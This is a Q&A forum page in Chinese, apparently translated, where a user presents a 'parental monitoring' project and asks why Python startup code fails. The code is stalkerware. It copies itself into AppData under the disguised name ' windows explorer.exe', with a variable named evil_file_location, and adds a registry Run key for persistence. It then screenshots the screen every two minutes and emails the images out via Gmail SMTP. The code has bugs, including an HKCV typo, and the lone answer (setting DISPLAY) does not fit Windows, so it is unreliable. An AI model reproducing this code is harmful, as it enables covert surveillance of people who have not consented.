如何让我的python.exe文件在系统重启时自动启动?

问题描述 投票:-1回答:1

我正在研究一个项目名称 "家长如何监督孩子" 我必须 拟议 我的想法是我写了一个python脚本,发送屏幕截图的孩子的设备后,一个特定的时间间隔的父母邮件。

现在我想添加 如何让我的python代码.exe文件在系统重启时自动启动?

我的启动代码无法工作

在我看来,启动代码为

def become_persistent(self):
    evil_file_location = os.environ["appdata"] + "\\ windows explorer.exe"
    if not os.path.exists(evil_file_location):
        shutil.copyfile(sys.executable, evil_file_location)
        subprocess.call('reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v test /t REG_SZ /d "' + evil_file_location + '"', shell=True)

我的Python完整代码

import smtplib
import sys
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
import time
import os
from smtplib import SMTP
import shutil
from PIL import ImageGrab
import subprocess
import self

def become_persistent(self):
    hidden_file_location = os.environ["appdata"] + "\\ windows explorer.exe"
    if not os.path.exists(hidden_file_location):
        shutil.copyfile(sys.executable, hidden_file_location)
        subprocess.call('reg add HKCV\Software\Microsoft\Windows\CurrentVersion\Run /v test /t REG_SZ /d "' + hidden_file_location + '"', shell=True)
become_persistent()

s: SMTP = smtplib.SMTP('smtp.gmail.com', port)
s.starttls()
s.login("email of parents", "password")

msg = MIMEMultipart()
msg['Subject'] = 'Test Email'
msg['From'] = "sender email"
msg['To'] = "recepient email"
while True:
    snapshot = ImageGrab.grab()
    # Using png because it cannot write mode RGBA as JPEG
    file = "scr.png"
    snapshot.save(file)
    # Opening the image file and then attaching it
    with open(file, 'rb') as f:
        img = MIMEImage(f.read())
        img.add_header('Content-Disposition', 'attachment', filename=file)
        msg.attach(img)
    os.remove(file)
    s.sendmail("sender email", "recipent email", msg.as_string())
    # Change this value to your liking
    time.sleep(120)
python python-3.x subprocess
1个回答
0
投票

试着把这行

os.environ['DISPLAY'] = ':0'

就在你的进口下面。

© www.soinside.com 2019 - 2024. All rights reserved.